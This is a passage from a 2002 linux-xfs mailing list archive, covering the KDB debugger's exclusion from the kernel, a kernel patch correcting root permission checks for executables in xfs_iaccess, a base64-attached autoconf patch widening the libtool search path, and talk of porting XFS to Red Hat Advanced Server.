"linux-xfs@oss.sgi.com" , "linux-fsdevel@vger.kernel.org" In-Reply-To: References: Content-Type: text/plain; charset=ISO-8859-1 X-Mailer: Ximian Evolution 1.0.8 Date: 22 Aug 2002 04:39:47 -0500 Message-Id: <1030009190.1839.1.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7M9b1BM030744 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 04:30, Ralf G. R. Bergs wrote: > On Wed, 21 Aug 2002 11:18:06 +0200, Christoph Hellwig wrote: > > >Other changes in the XFS tree 2.4 2.4-ac 2.5 > >--------------------------------------------------------------------­ > >KDB - (7) - (7) - (7) > [...] > >(7) Not likely to go in ever. (political reasons) > > What are these "political reasons?" Linus does not believe in debuggers, lots of other people do, but not Linus. Search an archive of the kernel mailing list for the details on this. Steve From owner-linux-xfs@oss.sgi.com Thu Aug 22 02:50:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7M9olBM031075 for ; Thu, 22 Aug 2002 02:50:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7M9olKK031074 for linux-xfs-outgoing; Thu, 22 Aug 2002 02:50:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ADSL-Bergs.RZ.RWTH-Aachen.DE (adsl-bergs.rz.RWTH-Aachen.DE [137.226.80.218]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7M9odBM031043 for ; Thu, 22 Aug 2002 02:50:40 -0700 Received: from ralf.wg ([192.168.1.2]:1676) by ADSL-Bergs.RZ.RWTH-Aachen.DE with esmtp (Exim 4.10) id 17hoek-0001s5-00; Thu, 22 Aug 2002 11:53:34 +0200 From: "Ralf G. R. Bergs" To: "Stephen Lord" Cc: "Christoph Hellwig" , "linux-fsdevel@vger.kernel.org" , "linux-xfs@oss.sgi.com" Date: Thu, 22 Aug 2002 11:53:32 +0200 Reply-To: "Ralf G. R. Bergs" X-Mailer: PMMail 2000 Professional (2.20.2502) For Windows 2000 (5.0.2195;3) In-Reply-To: <1030009190.1839.1.camel@laptop.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: Re: Updated XFS merge status Message-Id: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7M9ofBM031044 X-Spam-Status: No, hits=-5.6 required=5.0 tests=IN_REP_TO,GAPPY_TEXT version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 22 Aug 2002 04:39:47 -0500, Stephen Lord wrote: >On Thu, 2002-08-22 at 04:30, Ralf G. R. Bergs wrote: >> On Wed, 21 Aug 2002 11:18:06 +0200, Christoph Hellwig wrote: >> >> >Other changes in the XFS tree 2.4 2.4-ac 2.5 >> >--------------------------------------------------------------------­ >> >KDB - (7) - (7) - (7) >> [...] >> >(7) Not likely to go in ever. (political reasons) >> >> What are these "political reasons?" > >Linus does not believe in debuggers, lots of other people do, >but not Linus. Search an archive of the kernel mailing list >for the details on this. I see. Well, I have certain strong feelings about this (I do respect Linus for what he did), but I don't utter them publicly because I probably WOULD provoke a flamewar if I did. Thanks for the info. -- Sign the EU petition against SPAM: L I N U X .~. http://www.politik-digital.de/spam/ The Choice /V\ of a GNU /( )\ Generation ^^-^^ From owner-linux-xfs@oss.sgi.com Thu Aug 22 03:25:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MAPMBM031862 for ; Thu, 22 Aug 2002 03:25:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MAPMDX031861 for linux-xfs-outgoing; Thu, 22 Aug 2002 03:25:22 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail5.svr.pol.co.uk (mail5.svr.pol.co.uk [195.92.193.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MAP2BM031833 for ; Thu, 22 Aug 2002 03:25:03 -0700 Received: from modem-245.ballistic.dialup.pol.co.uk ([62.25.136.245] helo=dgreaves.com) by mail5.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17hpCA-0006Mh-00 for linux-xfs@oss.sgi.com; Thu, 22 Aug 2002 11:28:06 +0100 Received: from dgreaves.com (100.dgreaves.com [10.0.0.100]) by dgreaves.com (8.11.6/8.11.0) with ESMTP id g7MA9aK30203; Thu, 22 Aug 2002 11:09:36 +0100 Message-ID: <3D64BCB2.6010207@dgreaves.com> Date: Thu, 22 Aug 2002 11:28:02 +0100 From: David Greaves User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Nathan Straz , linux-xfs@oss.sgi.com Subject: Re: PATCH: RH7.3 with XFS : /usr/bin/test -x seems broken References: <3D6396DE.9050008@dgreaves.com> <20020821141135.GA20157@sgi.com> <3D63A6DE.4050200@dgreaves.com> <20020821144913.GB20157@sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-5.0 required=5.0 tests=UNIFIED_PATCH version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Thanks Nathan In order to apply cleanly the diff between 1.340 and 1.342 is needed... Rebuilt and tested and this seems to fix the problem. (Of course it took a few hours to diagnose and fix a dodgy CPU fan that was SIG11'ing the build! - nothin's ever straightforward) Is it worth summarising this in an errata at ftp://oss.sgi.com/projects/xfs/download/Release-1.1/installer/installer/i386/ Cheers David Index: xfs_inode.c =================================================================== RCS file: /cvs/linux-2.4-xfs/linux/fs/xfs/xfs_inode.c,v retrieving revision 1.340 retrieving revision 1.342 diff -u -5 -r1.340 -r1.342 --- xfs_inode.c 2002/06/18 14:45:50 1.340 +++ xfs_inode.c 2002/06/28 17:44:54 1.342 @@ -3426,22 +3426,28 @@ xfs_iaccess( xfs_inode_t *ip, mode_t mode, cred_t *cr) { - int error; - mode_t orgmode = mode; + int error; + mode_t orgmode = mode; + struct inode *inode = LINVFS_GET_IP(XFS_ITOV(ip)); /* * Verify that the MAC policy allows the requested access. */ if ((error = _MAC_XFS_IACCESS(ip, mode, cr))) return XFS_ERROR(error); - if ((mode & IWRITE) && !WRITEALLOWED(XFS_ITOV(ip))) - return XFS_ERROR(EROFS); + if (mode & IWRITE) { + umode_t imode = inode->i_mode; + if (IS_RDONLY(inode) && + (S_ISREG(imode) || S_ISDIR(imode) || S_ISLNK(imode))) + return XFS_ERROR(EROFS); + } + /* * If there's an Access Control List it's used instead of * the mode bits. */ if ((error = _ACL_XFS_IACCESS(ip, mode, cr)) != -1) @@ -3450,12 +3456,23 @@ if (current->fsuid != ip->i_d.di_uid) { mode >>= 3; if (!in_group_p((gid_t)ip->i_d.di_gid)) mode >>= 3; } - if (((ip->i_d.di_mode & mode) == mode) || capable_cred(cr, CAP_DAC_OVERRIDE)) + + /* + * If the DACs are ok we don't need any capability check. + */ + if ((ip->i_d.di_mode & mode) == mode) return 0; + /* + * Read/write DACs are always overridable. + * Executable DACs are overridable if at least one exec bit is set. + */ + if ((orgmode & (IREAD|IWRITE)) || (inode->i_mode & S_IXUGO)) + if (capable_cred(cr, CAP_DAC_OVERRIDE)) + return 0; if ((orgmode == IREAD) || (((ip->i_d.di_mode & IFMT) == IFDIR) && (!(orgmode & ~(IWRITE|IEXEC))))) { if (capable_cred(cr, CAP_DAC_READ_SEARCH)) Nathan Straz wrote: >On Wed, Aug 21, 2002 at 03:42:38PM +0100, David Greaves wrote: > > >>Nathan Straz wrote: >> >> >>>On Wed, Aug 21, 2002 at 02:34:22PM +0100, David Greaves wrote: >>> >>> >>>>When I use /usr/bin/test, well, [ -x filename ] it always returns true. >>>> >>>> >>>See: TAKE - fix root access() and non-executables >>>http://marc.theaimsgroup.com/?l=linux-xfs&m=102528663319323&w=2 >>> >>> >>I'll see what Eric Sandeen did and see if it applies to the src shipped >>with the RH iso so it can be patched. >> >> > >It's probably easier for me to post the patch than for you to dig >through CVS until you find it, so here it is. Apply it with --posix. > >nstraz@maine wa/xfs-2.4.x/linux% p_mod2patch -u 2.4.x-xfs:slinx:122557a > >=========================================================================== >Index: linux/fs/xfs/xfs_inode.c >=========================================================================== > >--- /usr/tmp/TmpDir.21937-0/linux/fs/xfs/xfs_inode.c_1.341 2002-08-21 09:47:05.000000000 -0500 >+++ /usr/tmp/TmpDir.21937-0/linux/fs/xfs/xfs_inode.c_1.342 2002-08-21 09:47:05.000000000 -0500 > > [snip] From owner-linux-xfs@oss.sgi.com Thu Aug 22 04:02:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MB2UBM032426 for ; Thu, 22 Aug 2002 04:02:31 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MB2Uh8032425 for linux-xfs-outgoing; Thu, 22 Aug 2002 04:02:30 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from nexus6.cuddletech.co.uk (12-213-184-155.client.attbi.com [12.213.184.155]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MB2BBM032372 for ; Thu, 22 Aug 2002 04:02:11 -0700 Received: from mydomain.com (loopback [127.0.0.1]) by nexus6.cuddletech.co.uk (8.12.0.Beta12/8.12.0.Beta12) with SMTP id g7MB5HPg025709 for ; Thu, 22 Aug 2002 04:05:17 -0700 Received: from 12.213.184.155 (SquirrelMail authenticated user benr) by cuddletech.dyndns.org with HTTP; Thu, 22 Aug 2002 04:05:17 -0700 (PDT) Message-ID: <51144.12.213.184.155.1030014317.squirrel@cuddletech.dyndns.org> Date: Thu, 22 Aug 2002 04:05:17 -0700 (PDT) Subject: PATCH: Confure.in Libtool location problem From: "Ben Rockwood" To: X-Priority: 3 Importance: Normal X-MSMail-Priority: Normal Reply-To: benr@cuddletech.com X-Mailer: SquirrelMail (version 1.2.6) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_20020822040517_13163" X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk ------=_20020822040517_13163 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit This p0 patch was created for the linux-2.4-xfs branch. It simply adds /usr/local/bin to the search path for libtool. Going a step further to add $PATH seemed like it could cause more problems than it would solve down the road. benr. -- //Ben Rockwood - UNIX Systems Admin //email: benr@cuddletech.com //web: www.cuddletech.com //-> We do what we can, We give what we have, //-> Our doubt is our passion, and our passion is our task, //-> The rest is the madness of Art. //-> -Henry James ------=_20020822040517_13163 Content-Type: application/octet-stream; name="xfs-configure.patch" Content-Disposition: attachment; filename="xfs-configure.patch" Content-Transfer-Encoding: base64 SW5kZXg6IGNtZC9hY2wvY29uZmlndXJlLmluCj09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT0KUkNTIGZpbGU6IC9jdnMvbGludXgtMi40LXhmcy9jbWQvYWNsL2Nv bmZpZ3VyZS5pbix2CnJldHJpZXZpbmcgcmV2aXNpb24gMS4xOQpkaWZmIC11 IC1yMS4xOSBjb25maWd1cmUuaW4KLS0tIGNtZC9hY2wvY29uZmlndXJlLmlu CTIwMDIvMDcvMTYgMDQ6NDQ6MTkJMS4xOQorKysgY21kL2FjbC9jb25maWd1 cmUuaW4JMjAwMi8wOC8yMiAxMDo1MjozMgpAQCAtMTE5LDcgKzExOSw3IEBA CiBBQ19TVUJTVChlY2hvKQogCiBkbmwgZW5zdXJlIGxpYnRvb2wgaXMgaW5z dGFsbGVkCi1BQ19QQVRIX1BST0coTElCVE9PTCwgbGlidG9vbCwsL3Vzci9i aW4pCitBQ19QQVRIX1BST0coTElCVE9PTCwgbGlidG9vbCwsL3Vzci9iaW46 L3Vzci9sb2NhbC9iaW4pCiBpZiB0ZXN0ICIkTElCVE9PTCIgPSAiIjsgdGhl bgogCWVjaG8KIAllY2hvICdGQVRBTCBFUlJPUjogbGlidG9vbCBkb2VzIG5v dCBzZWVtIHRvIGJlIGluc3RhbGxlZC4nCkluZGV4OiBjbWQvYXR0ci9jb25m aWd1cmUuaW4KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogL2N2 cy9saW51eC0yLjQteGZzL2NtZC9hdHRyL2NvbmZpZ3VyZS5pbix2CnJldHJp ZXZpbmcgcmV2aXNpb24gMS4xMApkaWZmIC11IC1yMS4xMCBjb25maWd1cmUu aW4KLS0tIGNtZC9hdHRyL2NvbmZpZ3VyZS5pbgkyMDAyLzA3LzE2IDA0OjQ0 OjE5CTEuMTAKKysrIGNtZC9hdHRyL2NvbmZpZ3VyZS5pbgkyMDAyLzA4LzIy IDEwOjUyOjMyCkBAIC0xMTcsNyArMTE3LDcgQEAKIEFDX1NVQlNUKGVjaG8p CiAKIGRubCBlbnN1cmUgbGlidG9vbCBpcyBpbnN0YWxsZWQKLUFDX1BBVEhf UFJPRyhMSUJUT09MLCBsaWJ0b29sLCwvdXNyL2JpbikKK0FDX1BBVEhfUFJP RyhMSUJUT09MLCBsaWJ0b29sLCwvdXNyL2JpbjovdXNyL2xvY2FsL2JpbikK IGlmIHRlc3QgIiRMSUJUT09MIiA9ICIiOyB0aGVuCiAJZWNobwogCWVjaG8g J0ZBVEFMIEVSUk9SOiBsaWJ0b29sIGRvZXMgbm90IHNlZW0gdG8gYmUgaW5z dGFsbGVkLicKSW5kZXg6IGNtZC9kbWFwaS9jb25maWd1cmUuaW4KPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogL2N2cy9saW51eC0yLjQteGZz L2NtZC9kbWFwaS9jb25maWd1cmUuaW4sdgpyZXRyaWV2aW5nIHJldmlzaW9u IDEuMTUKZGlmZiAtdSAtcjEuMTUgY29uZmlndXJlLmluCi0tLSBjbWQvZG1h cGkvY29uZmlndXJlLmluCTIwMDIvMDcvMTYgMDQ6NDQ6MTkJMS4xNQorKysg Y21kL2RtYXBpL2NvbmZpZ3VyZS5pbgkyMDAyLzA4LzIyIDEwOjUyOjMzCkBA IC0xMjAsNyArMTIwLDcgQEAKIF0pCiAKIGRubCBlbnN1cmUgbGlidG9vbCBp cyBpbnN0YWxsZWQKLUFDX1BBVEhfUFJPRyhMSUJUT09MLCBsaWJ0b29sLCwv dXNyL2JpbikKK0FDX1BBVEhfUFJPRyhMSUJUT09MLCBsaWJ0b29sLCwvdXNy L2JpbjovdXNyL2xvY2FsL2JpbikKIGlmIHRlc3QgIiRMSUJUT09MIiA9ICIi OyB0aGVuCiAJZWNobwogCWVjaG8gJ0ZBVEFMIEVSUk9SOiBsaWJ0b29sIGRv ZXMgbm90IHNlZW0gdG8gYmUgaW5zdGFsbGVkLicKSW5kZXg6IGNtZC94ZnNk dW1wL2NvbmZpZ3VyZS5pbgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBm aWxlOiAvY3ZzL2xpbnV4LTIuNC14ZnMvY21kL3hmc2R1bXAvY29uZmlndXJl LmluLHYKcmV0cmlldmluZyByZXZpc2lvbiAxLjIxCmRpZmYgLXUgLXIxLjIx IGNvbmZpZ3VyZS5pbgotLS0gY21kL3hmc2R1bXAvY29uZmlndXJlLmluCTIw MDIvMDcvMjkgMDY6MDQ6MTIJMS4yMQorKysgY21kL3hmc2R1bXAvY29uZmln dXJlLmluCTIwMDIvMDgvMjIgMTA6NTI6MzMKQEAgLTExNyw3ICsxMTcsNyBA QAogQUNfU1VCU1QoZWNobykKIAogZG5sIGVuc3VyZSBsaWJ0b29sIGlzIGlu c3RhbGxlZAotQUNfUEFUSF9QUk9HKExJQlRPT0wsIGxpYnRvb2wsLC91c3Iv YmluKQorQUNfUEFUSF9QUk9HKExJQlRPT0wsIGxpYnRvb2wsLC91c3IvYmlu Oi91c3IvbG9jYWwvYmluKQogaWYgdGVzdCAiJExJQlRPT0wiID0gIiI7IHRo ZW4KIAllY2hvCiAJZWNobyAnRkFUQUwgRVJST1I6IGxpYnRvb2wgZG9lcyBu b3Qgc2VlbSB0byBiZSBpbnN0YWxsZWQuJwpJbmRleDogY21kL3hmc3Byb2dz L2NvbmZpZ3VyZS5pbgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxl OiAvY3ZzL2xpbnV4LTIuNC14ZnMvY21kL3hmc3Byb2dzL2NvbmZpZ3VyZS5p bix2CnJldHJpZXZpbmcgcmV2aXNpb24gMS4xNgpkaWZmIC11IC1yMS4xNiBj b25maWd1cmUuaW4KLS0tIGNtZC94ZnNwcm9ncy9jb25maWd1cmUuaW4JMjAw Mi8wOC8xMCAwMjowMTozNwkxLjE2CisrKyBjbWQveGZzcHJvZ3MvY29uZmln dXJlLmluCTIwMDIvMDgvMjIgMTA6NTI6MzMKQEAgLTEyMCw3ICsxMjAsNyBA QAogQUNfU1VCU1QoZWNobykKIAogZG5sIGVuc3VyZSBsaWJ0b29sIGlzIGlu c3RhbGxlZAotQUNfUEFUSF9QUk9HKExJQlRPT0wsIGxpYnRvb2wsLC91c3Iv YmluKQorQUNfUEFUSF9QUk9HKExJQlRPT0wsIGxpYnRvb2wsLC91c3IvYmlu Oi91c3IvbG9jYWwvYmluKQogaWYgdGVzdCAiJExJQlRPT0wiID0gIiI7IHRo ZW4KIAllY2hvCiAJZWNobyAnRkFUQUwgRVJST1I6IGxpYnRvb2wgZG9lcyBu b3Qgc2VlbSB0byBiZSBpbnN0YWxsZWQuJwo= ------=_20020822040517_13163-- From owner-linux-xfs@oss.sgi.com Thu Aug 22 06:10:33 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MDAXBM003209 for ; Thu, 22 Aug 2002 06:10:33 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MDAX8a003208 for linux-xfs-outgoing; Thu, 22 Aug 2002 06:10:33 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MDAPBM003180 for ; Thu, 22 Aug 2002 06:10:27 -0700 Received: (qmail 8515 invoked from network); 22 Aug 2002 13:13:27 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 22 Aug 2002 13:13:27 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id B44F03000B8; Thu, 22 Aug 2002 23:13:25 +1000 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id 0B97394; Thu, 22 Aug 2002 23:13:24 +1000 (EST) X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 From: Keith Owens To: "linux-xfs@oss.sgi.com" , "linux-fsdevel@vger.kernel.org" Subject: Re: Updated XFS merge status In-reply-to: Your message of "Thu, 22 Aug 2002 11:30:28 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 22 Aug 2002 23:13:19 +1000 Message-ID: <20188.1030021999@ocs3.intra.ocs.com.au> X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 22 Aug 2002 11:30:28 +0200, "Ralf G. R. Bergs" wrote: >On Wed, 21 Aug 2002 11:18:06 +0200, Christoph Hellwig wrote: > >>Other changes in the XFS tree 2.4 2.4-ac 2.5 >>--------------------------------------------------------------------=AD >>KDB - (7) - (7) - (7) >[...] >>(7) Not likely to go in ever. (political reasons) > >What are these "political reasons?" http://www.lib.uaa.alaska.edu/linux-kernel/archive/2000-Week-36/0575.html http://marc.theaimsgroup.com/?l=linux-kernel&m=96865229622167&w=2 From owner-linux-xfs@oss.sgi.com Thu Aug 22 07:45:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MEjoBM008397 for ; Thu, 22 Aug 2002 07:45:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MEjoAZ008396 for linux-xfs-outgoing; Thu, 22 Aug 2002 07:45:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MEjiBM008368 for ; Thu, 22 Aug 2002 07:45:44 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id JAA90644 for ; Thu, 22 Aug 2002 09:48:45 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id JAA50677 for ; Thu, 22 Aug 2002 09:48:45 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7MElgR08543; Thu, 22 Aug 2002 09:47:42 -0500 Message-Id: <200208221447.g7MElgR08543@stout.americas.sgi.com> Date: Thu, 22 Aug 2002 09:47:42 -0500 Subject: TAKE - Remove some unused arguments X-Spam-Status: No, hits=1.0 required=5.0 tests=SUBJ_REMOVE,MISSING_HEADERS version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk There are probably a few more out there, but these ones were the low-hanging fruit, as they say... Date: Thu Aug 22 07:47:34 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125665a linux/fs/xfs/xfs_qm_syscalls.c - 1.67 linux/fs/xfs/xfs_vfsops.c - 1.373 - Remove unused argument from vn_get linux/fs/xfs/xfs_iget.c - 1.168 - Remove unused arguments from vn_initialize Clean up comment (inodes no longer moved up in hash list) linux/fs/xfs/linux/xfs_vnode.c - 1.93 linux/fs/xfs/linux/xfs_vnode.h - 1.60 - Remove unused arguments from vn_initialize & vn_get linux/fs/xfs/pagebuf/page_buf.c - 1.54 - Remove unused argument from pagebuf_segment From owner-linux-xfs@oss.sgi.com Thu Aug 22 09:37:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MGblBM010867 for ; Thu, 22 Aug 2002 09:37:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MGblhR010866 for linux-xfs-outgoing; Thu, 22 Aug 2002 09:37:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MGbeBM010838 for ; Thu, 22 Aug 2002 09:37:41 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17hv0m-00064z-00; Thu, 22 Aug 2002 17:40:44 +0100 Date: Thu, 22 Aug 2002 17:40:44 +0100 From: Christoph Hellwig To: Simon Matter Cc: Bill Anderson , "Linux XFS (SGI)" Subject: Re: Redhat Advanced Server and XFS? Message-ID: <20020822174044.A23116@infradead.org> References: <1029956246.6672.47.camel@locutus> <3D648757.5791634E@ch.sauter-bc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3D648757.5791634E@ch.sauter-bc.com>; from simon.matter@ch.sauter-bc.com on Thu, Aug 22, 2002 at 08:40:23AM +0200 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 08:40:23AM +0200, Simon Matter wrote: > Seems RedHat just doesn't want us to use XFS. That's why it is so > important that XFS goes into the official kernel. Then they can't refuse > it anymore :) > > AFAIK RH AS uses a quite old but heavy patched kernel. It may be > difficult to backport current XFS patches. You may have some luck trying > the patches from the 2.4.9-34 source RPM as a starting point. Although the AS server calls itself 2.4.9 it is quite different from RedHat's 2.4.9-34 (which already has more in common with the last 2.4.13-ac then any released 2.4.9 kernel..). This does include filesystem-related changes such as AIO to which XFS is not adoptable without major effort. The simplest solution would to just take the 2.4.9-34 rpm which should install fine in AS and use that with XFS. Alternatively I'm happy to contract with you in October to fit XFS into the AS kernel 8) From owner-linux-xfs@oss.sgi.com Thu Aug 22 09:52:46 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MGqkBM011124 for ; Thu, 22 Aug 2002 09:52:46 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MGqkIb011123 for linux-xfs-outgoing; Thu, 22 Aug 2002 09:52:46 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from UberGeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MGqbBM011093 for ; Thu, 22 Aug 2002 09:52:38 -0700 Received: (qmail 1309 invoked by uid 500); 22 Aug 2002 16:55:25 -0000 Subject: Re: Updated XFS merge status From: Austin Gonyou To: "Ralf G. R. Bergs" Cc: Stephen Lord , Christoph Hellwig , linux-fsdevel@vger.kernel.org, linux-xfs@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1030035325.1200.3.camel@UberGeek.coremetrics.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.1.0.99 (Preview Release) Date: 22 Aug 2002 11:55:25 -0500 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 04:53, Ralf G. R. Bergs wrote: ... > >> [...] > >> >(7) Not likely to go in ever. (political reasons) > >> > >> What are these "political reasons?" > > > >Linus does not believe in debuggers, lots of other people do, > >but not Linus. Search an archive of the kernel mailing list > >for the details on this. I believe what Linus said, was that he did not like debuggers in the kernel tree and viewed it as bloat, constant source of pain, etc. I remember some mail on this from a time ago. -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Thu Aug 22 09:53:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MGrUBM011205 for ; Thu, 22 Aug 2002 09:53:30 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MGrUoa011204 for linux-xfs-outgoing; Thu, 22 Aug 2002 09:53:30 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf08bis.bellsouth.net (mail008.mail.bellsouth.net [205.152.58.28]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MGrMBM011167 for ; Thu, 22 Aug 2002 09:53:22 -0700 Received: from TAZ2 ([66.156.4.66]) by imf08bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020822165802.ZFAJ25788.imf08bis.bellsouth.net@TAZ2>; Thu, 22 Aug 2002 12:58:02 -0400 Date: Thu, 22 Aug 2002 12:55:13 -0400 From: Greg Freemyer Subject: re[2]: Redhat Advanced Server and XFS? To: Christoph Hellwig , Simon Matter cc: Bill Anderson , Linux XFS (SGI) Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020822165802.ZFAJ25788.imf08bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7MGrNBM011169 X-Spam-Status: No, hits=0.5 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,NO_COST,SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >> On Thu, Aug 22, 2002 at 08:40:23AM +0200, Simon Matter wrote: >> > Seems RedHat just doesn't want us to use XFS. That's why it is so >> > important that XFS goes into the official kernel. Then they can't refuse >> > it anymore :) >> > >> > AFAIK RH AS uses a quite old but heavy patched kernel. It may be >> > difficult to backport current XFS patches. You may have some luck trying >> > the patches from the 2.4.9-34 source RPM as a starting point. >> Although the AS server calls itself 2.4.9 it is quite different from >> RedHat's 